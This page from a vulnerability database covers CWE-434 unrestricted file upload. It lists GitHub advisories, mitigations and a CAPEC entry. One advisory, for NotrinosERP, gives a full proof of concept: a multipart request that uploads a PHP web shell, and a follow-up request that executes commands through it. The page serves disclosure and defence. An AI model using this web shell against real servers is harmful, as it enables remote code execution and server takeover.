CWE-434
AllowedUnrestricted Upload of File with Dangerous Type
Abstraction: Base · Status: Draft
The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.
5971 vulnerabilities reference this CWE, most recent first.
GHSA-QR7R-P292-XQVQ
Vulnerability from github – Published: 2025-01-21 15:31 – Updated: 2026-04-01 18:33Unrestricted Upload of File with Dangerous Type vulnerability in NotFound Fancy Product Designer. This issue affects Fancy Product Designer: from n/a through 6.4.3.
{
"affected": [],
"aliases": [
"CVE-2024-51919"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-21T14:15:09Z",
"severity": "CRITICAL"
},
"details": "Unrestricted Upload of File with Dangerous Type vulnerability in NotFound Fancy Product Designer. This issue affects Fancy Product Designer: from n/a through 6.4.3.",
"id": "GHSA-qr7r-p292-xqvq",
"modified": "2026-04-01T18:33:17Z",
"published": "2025-01-21T15:31:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51919"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/fancy-product-designer/vulnerability/wordpress-fancy-product-designer-plugin-6-4-3-unauthenticated-arbitrary-file-upload-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QRMV-XR2H-3HRW
Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2022-05-24 19:19bookstack is vulnerable to Unrestricted Upload of File with Dangerous Type
{
"affected": [],
"aliases": [
"CVE-2021-3906"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-27T22:15:00Z",
"severity": "MODERATE"
},
"details": "bookstack is vulnerable to Unrestricted Upload of File with Dangerous Type",
"id": "GHSA-qrmv-xr2h-3hrw",
"modified": "2022-05-24T19:19:11Z",
"published": "2022-05-24T19:19:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3906"
},
{
"type": "WEB",
"url": "https://github.com/bookstackapp/bookstack/commit/64937ab826b56d086af9ecea532510d37520ebc8"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/f115bdf5-c06b-4627-a6fa-ba6904a43ba3"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-QRWQ-JFP7-Q2QG
Vulnerability from github – Published: 2022-05-17 00:23 – Updated: 2025-04-20 03:47my_profile.php in Ingenious School Management System 2.3.0 allows a student or teacher to upload an arbitrary file.
{
"affected": [],
"aliases": [
"CVE-2017-15957"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-10-29T06:29:00Z",
"severity": "HIGH"
},
"details": "my_profile.php in Ingenious School Management System 2.3.0 allows a student or teacher to upload an arbitrary file.",
"id": "GHSA-qrwq-jfp7-q2qg",
"modified": "2025-04-20T03:47:49Z",
"published": "2022-05-17T00:23:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-15957"
},
{
"type": "WEB",
"url": "https://packetstormsecurity.com/files/144431/Ingenious-School-Management-System-2.3.0-Arbitrary-File-Upload.html"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/43102"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QRX7-28JJ-4C32
Vulnerability from github – Published: 2022-05-17 00:34 – Updated: 2025-04-20 03:46TeamWork Photo Fusion allows Arbitrary File Upload in changeAvatar and changeCover.
{
"affected": [],
"aliases": [
"CVE-2017-14839"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-09-28T01:29:00Z",
"severity": "HIGH"
},
"details": "TeamWork Photo Fusion allows Arbitrary File Upload in changeAvatar and changeCover.",
"id": "GHSA-qrx7-28jj-4c32",
"modified": "2025-04-20T03:46:00Z",
"published": "2022-05-17T00:34:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-14839"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/42797"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QV2G-89JH-693X
Vulnerability from github – Published: 2023-06-30 06:30 – Updated: 2024-04-04 05:18WL-WN531AX2 firmware versions prior to 2023526 allows an attacker with an administrative privilege to upload arbitrary files and execute OS commands with the root privilege.
{
"affected": [],
"aliases": [
"CVE-2023-32621"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-30T05:15:09Z",
"severity": "HIGH"
},
"details": "WL-WN531AX2 firmware versions prior to 2023526 allows an attacker with an administrative privilege to upload arbitrary files and execute OS commands with the root privilege.",
"id": "GHSA-qv2g-89jh-693x",
"modified": "2024-04-04T05:18:45Z",
"published": "2023-06-30T06:30:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32621"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN78634340"
},
{
"type": "WEB",
"url": "https://www.wavlink.com/en_us/firmware/details/932108ffc5.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QV4M-M73M-8HJ7
Vulnerability from github – Published: 2026-07-10 19:34 – Updated: 2026-07-10 19:34Summary
An authenticated user with the HR "Manage Employees" permission (SA_EMPLOYEE) can upload a file with an arbitrary extension through the employee Documents tab. The handler writes the raw client-supplied filename — extension intact — into a web served directory with no extension, MIME, or content validation, so a .php file is stored under the web root and executes as code, yielding remote code execution on the server.
Details
The document-upload branch in hrm/manage/employees.php (function tab_documents()) moves the uploaded file using the client filename verbatim:
// hrm/manage/employees.php -> tab_documents() (HEAD lines 597-602; release 1.0.0 lines 568-573)
$upload_dir = company_path().'/documents/employees';
if (!file_exists($upload_dir))
mkdir($upload_dir, 0777, true);
$file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name'];
if (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... }
There is no extension allow-list, getimagesize(), MIME check, or content inspection on this path. Contrast this with the profile photo (pic) upload in the same file, which validates image type/extension/size, and with core includes/ui/attachment.inc, which deliberately generates a random extension-less name (uniqid()) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern.
Reachability of the written file:
- company_path() resolves under the web root; config.default.php sets
$comp_path = $path_to_root.'/company', so uploads land in company/0/documents/employees/.
- The only .htaccess in the project is the repo-root one, which denies .inc/.po/.sh/.pem/.sql/.log
only — it does not block .php and does not cover company/.
- The stored path is then echoed unescaped into a clickable "View" link
(hrm/includes/ui/employee_ui.inc lines 153-154 — file_path concatenated straight into href),
handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79).
A crafted multipart filename containing ../ additionally enables path traversal (CWE-22) on PHP builds that do not basename ['name'].
Proof of Concept
The upload is gated by authentication and CSRF, but neither gates the file itself. Prerequisites: an authenticated session with SA_EMPLOYEE; an existing employee (employee_no); a valid doc_type_id; and the session CSRF token. The CSRF field is _token (validated bycheck_csrf_token() against $_SESSION['csrf_token']), so first GET the Documents form to read the
hidden _token, then submit. Against your own local instance:
POST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1
Host: <your-local-instance>
Cookie: <authenticated session>
Content-Type: multipart/form-data; boundary=b
--b
Content-Disposition: form-data; name="_token"
<value of the hidden _token field from the GET response>
--b
Content-Disposition: form-data; name="doc_type_id"
<a valid document type id>
--b
Content-Disposition: form-data; name="doc_name"
x
--b
Content-Disposition: form-data; name="doc_file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['c']); ?>
--b
Content-Disposition: form-data; name="save_document"
Save Document
--b--
Then request the stored file (its exact path is shown in the Documents tab's "View" link):
GET /company/0/documents/employees/1_<unix_ts>_shell.php?c=id HTTP/1.1
The command in c executes on the server.
Validation (performed locally, no network)
The code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler's verbatim path/move logic wrote company/0/documents/employees/1_<ts>_shell.php (attacker-chosen .php extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload:
$ curl '.../company/0/documents/employees/1_1783671979_shell.php?c=id'
uid=501(...) gid=20(staff) ...
$ curl '.../<same>.php?c=uname%20-sm;whoami'
Darwin arm64
<user>
Caveats: (1) the harness used copy() in place of move_uploaded_file() because a CLI process has no real multipart temp file — the client-filename handling and the absence of any validation are identical to production (poc/rce_demo.php); (2) PHP's built-in server executes the file by path, and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root .htaccess does not block .php and does not cover company/. The full HTTP flow additionally requires the auth + _token + doc_type_id prerequisites above, none of which inspect the file.
Impact
Remote code execution on the hosting server by any authenticated operator holding the delegable SA_EMPLOYEE role (not necessarily an administrator). If a deployment grants SA_EMPLOYEE only to administrators, treat privileges-required as High (CVSS ≈ 7.2).
Suggested fix
- Never use the client filename on disk. Store with a server-generated name and no executable
extension (mirror
includes/ui/attachment.inc'suniqid()approach); keep the original name only as a DB label. - Enforce an allow-list of document extensions/MIME types and a size cap, exactly like the
picbranch already does. - Store uploads outside the web root, or drop an
.htaccess/web.configincompany/*/documents/that disables script execution (php_admin_flag engine off,RemoveHandler .php,SetHandler none). htmlspecialchars()the stored path before emitting the "View" link (fixes the secondary XSS).
Resources / credit
- Affected code:
hrm/manage/employees.php,hrm/includes/db/employee_document_db.inc,hrm/includes/ui/employee_ui.inc. - Reported by: <Kasper Hong / Kasper Builds>.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "notrinos/notrinos-erp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-434"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-10T19:34:03Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "#### Summary\nAn authenticated user with the HR \"Manage Employees\" permission (`SA_EMPLOYEE`) can upload a file with an arbitrary extension through the employee **Documents** tab. The handler writes the raw client-supplied filename \u2014 extension intact \u2014 into a web served directory with no extension, MIME, or content validation, so a `.php` file is stored under the web root and executes as code, yielding remote code execution on the server.\n\n#### Details\nThe document-upload branch in `hrm/manage/employees.php` (function `tab_documents()`) moves the uploaded file using the client filename verbatim:\n\n```php\n// hrm/manage/employees.php -\u003e tab_documents() (HEAD lines 597-602; release 1.0.0 lines 568-573)\n$upload_dir = company_path().\u0027/documents/employees\u0027;\nif (!file_exists($upload_dir))\n mkdir($upload_dir, 0777, true);\n$file_path = $upload_dir.\u0027/\u0027.$employee_id.\u0027_\u0027.time().\u0027_\u0027.$_FILES[\u0027doc_file\u0027][\u0027name\u0027];\nif (!move_uploaded_file($_FILES[\u0027doc_file\u0027][\u0027tmp_name\u0027], $file_path)) { ... }\n```\n\nThere is **no** extension allow-list, `getimagesize()`, MIME check, or content inspection on this path. Contrast this with the profile photo (`pic`) upload in the *same file*, which validates image type/extension/size, and with core `includes/ui/attachment.inc`, which deliberately generates a random extension-less name (`uniqid()`) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern.\n\nReachability of the written file:\n- `company_path()` resolves under the web root; `config.default.php` sets\n `$comp_path = $path_to_root.\u0027/company\u0027`, so uploads land in `company/0/documents/employees/`.\n- The only `.htaccess` in the project is the repo-root one, which denies `.inc/.po/.sh/.pem/.sql/.log`\n only \u2014 it does **not** block `.php` and does **not** cover `company/`.\n- The stored path is then echoed **unescaped** into a clickable \"View\" link\n (`hrm/includes/ui/employee_ui.inc` lines 153-154 \u2014 `file_path` concatenated straight into `href`),\n handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79).\n\nA crafted multipart `filename` containing `../` additionally enables path traversal (CWE-22) on PHP builds that do not basename `[\u0027name\u0027]`.\n\n#### Proof of Concept\nThe upload is gated by authentication and CSRF, but **neither gates the file itself**. Prerequisites: an authenticated session with `SA_EMPLOYEE`; an existing employee (`employee_no`); a valid `doc_type_id`; and the session CSRF token. The CSRF field is **`_token`** (validated by`check_csrf_token()` against `$_SESSION[\u0027csrf_token\u0027]`), so first GET the Documents form to read the\nhidden `_token`, then submit. Against your **own** local instance:\n\n```http\nPOST /hrm/manage/employees.php?employee_no=1\u0026_tabs_sel=tab_documents HTTP/1.1\nHost: \u003cyour-local-instance\u003e\nCookie: \u003cauthenticated session\u003e\nContent-Type: multipart/form-data; boundary=b\n\n--b\nContent-Disposition: form-data; name=\"_token\"\n\n\u003cvalue of the hidden _token field from the GET response\u003e\n--b\nContent-Disposition: form-data; name=\"doc_type_id\"\n\n\u003ca valid document type id\u003e\n--b\nContent-Disposition: form-data; name=\"doc_name\"\n\nx\n--b\nContent-Disposition: form-data; name=\"doc_file\"; filename=\"shell.php\"\nContent-Type: application/x-php\n\n\u003c?php system($_GET[\u0027c\u0027]); ?\u003e\n--b\nContent-Disposition: form-data; name=\"save_document\"\n\nSave Document\n--b--\n```\n\nThen request the stored file (its exact path is shown in the Documents tab\u0027s \"View\" link):\n\n```http\nGET /company/0/documents/employees/1_\u003cunix_ts\u003e_shell.php?c=id HTTP/1.1\n```\n\nThe command in `c` executes on the server.\n\n#### Validation (performed locally, no network)\nThe code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler\u0027s **verbatim** path/move logic wrote `company/0/documents/employees/1_\u003cts\u003e_shell.php` (attacker-chosen `.php` extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload:\n\n```\n$ curl \u0027.../company/0/documents/employees/1_1783671979_shell.php?c=id\u0027\nuid=501(...) gid=20(staff) ...\n$ curl \u0027.../\u003csame\u003e.php?c=uname%20-sm;whoami\u0027\nDarwin arm64\n\u003cuser\u003e\n```\n\nCaveats: (1) the harness used `copy()` in place of `move_uploaded_file()` because a CLI process has no real multipart temp file \u2014 the client-filename handling and the absence of any validation are identical to production (`poc/rce_demo.php`); (2) PHP\u0027s built-in server executes the file by path, and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root `.htaccess` does not block `.php` and does not cover `company/`. The full HTTP flow additionally requires the auth + `_token` + `doc_type_id` prerequisites above, none of which inspect the file.\n\n#### Impact\nRemote code execution on the hosting server by any authenticated operator holding the delegable `SA_EMPLOYEE` role (not necessarily an administrator). If a deployment grants `SA_EMPLOYEE` only to administrators, treat privileges-required as High (CVSS \u2248 7.2).\n\n#### Suggested fix\n- Never use the client filename on disk. Store with a server-generated name and **no executable\n extension** (mirror `includes/ui/attachment.inc`\u0027s `uniqid()` approach); keep the original name\n only as a DB label.\n- Enforce an allow-list of document extensions/MIME types and a size cap, exactly like the `pic`\n branch already does.\n- Store uploads outside the web root, or drop an `.htaccess`/`web.config` in\n `company/*/documents/` that disables script execution (`php_admin_flag engine off`,\n `RemoveHandler .php`, `SetHandler none`).\n- `htmlspecialchars()` the stored path before emitting the \"View\" link (fixes the secondary XSS).\n\n#### Resources / credit\n- Affected code: `hrm/manage/employees.php`, `hrm/includes/db/employee_document_db.inc`, `hrm/includes/ui/employee_ui.inc`.\n- Reported by: **\u0026lt;Kasper Hong / Kasper Builds\u0026gt;**.",
"id": "GHSA-qv4m-m73m-8hj7",
"modified": "2026-07-10T19:34:03Z",
"published": "2026-07-10T19:34:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/notrinos/NotrinosERP/security/advisories/GHSA-qv4m-m73m-8hj7"
},
{
"type": "PACKAGE",
"url": "https://github.com/notrinos/NotrinosERP"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "NotrinosERP: Authenticated arbitrary file upload leads to remote code execution via HRM employee \"Documents\" (doc_file)"
}
GHSA-QV63-549V-V8WJ
Vulnerability from github – Published: 2022-05-25 00:00 – Updated: 2022-06-09 00:00ManageEngine AppManager15 (Build No:15510) allows an authenticated admin user to upload a DLL file to perform a DLL hijack attack inside the 'working' folder through the 'Upload Files / Binaries' functionality.
{
"affected": [],
"aliases": [
"CVE-2022-23050"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-24T19:15:00Z",
"severity": "HIGH"
},
"details": "ManageEngine AppManager15 (Build No:15510) allows an authenticated admin user to upload a DLL file to perform a DLL hijack attack inside the \u0027working\u0027 folder through the \u0027Upload Files / Binaries\u0027 functionality.",
"id": "GHSA-qv63-549v-v8wj",
"modified": "2022-06-09T00:00:23Z",
"published": "2022-05-25T00:00:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23050"
},
{
"type": "WEB",
"url": "https://fluidattacks.com/advisories/cerati"
},
{
"type": "WEB",
"url": "https://www.manageengine.com/products/applications_manager/security-updates/security-updates-cve-2022-23050.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QV64-W99C-QCR9
Vulnerability from github – Published: 2023-09-20 18:30 – Updated: 2023-09-25 13:56In Jenkins 2.423 and earlier, LTS 2.414.1 and earlier, uploaded files processed via the Stapler web framework and the Jenkins API MultipartFormDataParser create temporary files in the system temporary directory with the default permissions for newly created files.
If these permissions are overly permissive, attackers with access to the system temporary directory may be able to read and write the file before it is used.
This vulnerability only affects operating systems using a shared temporary directory for all users (typically Linux). Additionally, the default permissions for newly created files generally only allow attackers to read the temporary file, but not write to it. Jenkins 2.424, LTS 2.414.2 creates the temporary files in a subdirectory with more restrictive permissions.
As a workaround, you can change your default temporary-file directory using the Java system property java.io.tmpdir, if you’re concerned about this issue but unable to immediately update Jenkins.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.50"
},
{
"fixed": "2.414.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.415"
},
{
"fixed": "2.424"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-43497"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": true,
"github_reviewed_at": "2023-09-21T21:38:07Z",
"nvd_published_at": "2023-09-20T17:15:11Z",
"severity": "LOW"
},
"details": "In Jenkins 2.423 and earlier, LTS 2.414.1 and earlier, uploaded files processed via the Stapler web framework and the Jenkins API `MultipartFormDataParser` create temporary files in the system temporary directory with the default permissions for newly created files.\n\nIf these permissions are overly permissive, attackers with access to the system temporary directory may be able to read and write the file before it is used.\n\nThis vulnerability only affects operating systems using a shared temporary directory for all users (typically Linux). Additionally, the default permissions for newly created files generally only allow attackers to read the temporary file, but not write to it.\nJenkins 2.424, LTS 2.414.2 creates the temporary files in a subdirectory with more restrictive permissions.\n\nAs a workaround, you can change your default temporary-file directory using the Java system property `java.io.tmpdir`, if you\u2019re concerned about this issue but unable to immediately update Jenkins.",
"id": "GHSA-qv64-w99c-qcr9",
"modified": "2023-09-25T13:56:45Z",
"published": "2023-09-20T18:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43497"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2023-09-20/#SECURITY-3073"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2023/09/20/5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Jenkins temporary uploaded file created with insecure permissions"
}
GHSA-QV9V-3P54-MR9F
Vulnerability from github – Published: 2024-04-04 03:31 – Updated: 2024-04-04 03:31The BookingPress plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient filename validation in the 'bookingpress_process_upload' function in all versions up to, and including 1.0.87. This allows an authenticated attacker with administrator-level capabilities or higher to upload arbitrary files on the affected site's server, enabling remote code execution.
{
"affected": [],
"aliases": [
"CVE-2024-3022"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-04T02:15:07Z",
"severity": "HIGH"
},
"details": "The BookingPress plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient filename validation in the \u0027bookingpress_process_upload\u0027 function in all versions up to, and including 1.0.87. This allows an authenticated attacker with administrator-level capabilities or higher to upload arbitrary files on the affected site\u0027s server, enabling remote code execution.",
"id": "GHSA-qv9v-3p54-mr9f",
"modified": "2024-04-04T03:31:08Z",
"published": "2024-04-04T03:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3022"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3061435/bookingpress-appointment-booking/trunk/core/classes/class.bookingpress_fileupload_class.php"
},
{
"type": "WEB",
"url": "https://r0ot.notion.site/BookingPress-1-0-84-Authenticated-Administrator-Arbitrary-File-Upload-lead-to-RCE-e2603371c0c14d828144e26f2fdc1d01?pvs=4"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/049ec264-3ed1-4741-937d-8a633ef0a627?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QVCF-9H3Q-2CWQ
Vulnerability from github – Published: 2026-04-13 18:30 – Updated: 2026-04-22 15:31Unrestricted Upload of File with Dangerous Type vulnerability allows Remote Code Execution via file upload. This issue affects Pandora FMS: from 777 through 800
{
"affected": [],
"aliases": [
"CVE-2026-30804"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-13T16:16:25Z",
"severity": "HIGH"
},
"details": "Unrestricted Upload of File with Dangerous Type vulnerability allows Remote Code Execution via file upload. This issue affects Pandora FMS: from 777 through 800",
"id": "GHSA-qvcf-9h3q-2cwq",
"modified": "2026-04-22T15:31:32Z",
"published": "2026-04-13T18:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30804"
},
{
"type": "WEB",
"url": "https://pandorafms.com/en/security/common-vulnerabilities-and-exposures"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:L/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:Y/R:U/V:C/RE:M/U:Amber",
"type": "CVSS_V4"
}
]
}
Mitigation
Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.[REF-422] [REF-423]
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation
Consider storing the uploaded files outside of the web document root entirely. Then, use other mechanisms to deliver the files dynamically. [REF-423]
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- For example, limiting filenames to alphanumeric characters can help to restrict the introduction of unintended file extensions.
Mitigation
Define a very limited set of allowable extensions and only generate filenames that end in these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm file types.
Mitigation
Strategy: Input Validation
Ensure that only one extension is used in the filename. Some web servers, including some versions of Apache, may process files based on inner extensions so that "filename.php.gif" is fed to the PHP interpreter.[REF-422] [REF-423]
Mitigation
When running on a web server that supports case-insensitive filenames, perform case-insensitive evaluations of the extensions that are provided.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
Do not rely exclusively on sanity checks of file contents to ensure that the file is of the expected type and size. It may be possible for an attacker to hide code in some file segments that will still be executed by the server. For example, GIF images may contain a free-form comments field.
Mitigation
Do not rely exclusively on the MIME content type or filename attribute when determining how to render a file. Validating the MIME content type and ensuring that it matches the extension is only a partial solution.
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.